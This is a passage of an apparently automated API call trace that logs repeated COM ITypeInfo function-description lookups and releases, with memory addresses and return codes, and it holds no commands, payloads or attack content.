[0030.565] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x1c, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.565] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.565] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x1d, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.565] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.565] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x1e, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.565] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.565] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x1f, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.565] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.565] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x20, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.566] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.566] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x21, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.566] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.566] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x22, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.566] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.566] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x23, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.566] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.566] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x24, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.566] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.566] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x25, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.566] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.566] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x26, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.566] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.566] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x27, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.566] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.566] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x28, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.566] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.566] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x29, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.566] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.566] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x2a, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.566] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.566] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x2b, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.566] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.566] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x2c, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.566] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.566] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x2d, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.566] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.566] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x2e, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.566] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.566] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x2f, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.566] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.566] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x30, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.566] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.566] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x31, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.566] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.566] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x32, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.566] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.566] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x33, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.566] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.566] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x34, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.566] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.567] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x35, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.567] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.567] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x36, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.567] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.567] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x37, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.567] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.567] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x38, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.567] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.567] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x39, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.567] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.567] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x3a, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.567] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.567] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x3b, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.567] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.567] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x3c, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.567] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.567] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x3d, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.567] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.567] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x3e, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.567] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.567] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x3f, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.567] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.567] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x40, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.567] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.567] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x41, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.567] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.567] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x42, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.567] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x75ed1c0
[0030.567] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x43, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.567] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.567] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x44, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.567] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.567] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x45, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.567] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.567] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x46, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.567] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.567] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x47, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.567] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.567] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x48, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.567] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.568] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x49, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.568] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.568] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x4a, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.568] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.568] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x4b, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.568] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.568] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x4c, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.568] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.568] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x4d, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.568] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.568] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x4e, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.568] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.568] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x4f, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.568] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.568] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x50, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.568] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.568] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x51, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.568] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.568] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x52, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.568] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.568] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x53, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.568] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.568] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x54, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.568] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.568] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x55, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.568] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.568] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x56, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.568] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.568] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x57, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.568] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.568] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x58, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.568] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.568] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x59, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.568] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.568] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x5a, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.568] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.568] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x5b, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.568] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.568] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x5c, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.568] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.569] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x5d, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.569] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.569] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x5e, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.569] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.569] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x5f, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.569] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.569] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x60, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.569] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.569] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x61, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.569] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.569] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x62, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.569] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.569] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x63, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.569] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.569] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x64, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.569] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.569] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x65, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.569] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.569] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x66, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.569] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.569] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x67, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.569] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.569] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x68, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.569] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.569] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x69, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.569] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.569] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x6a, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.569] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.569] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x6b, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.569] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.569] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x6c, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.569] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.569] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x6d, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.569] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.569] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x6e, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.569] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.569] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x6f, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.569] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x75ed1c0
[0030.569] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x70, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.569] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x75ed1c0
[0030.569] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x71, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.570] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.570] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x72, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.570] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.570] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x73, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.570] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.570] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x74, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.570] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.570] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x75, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.570] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.570] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x76, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.570] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
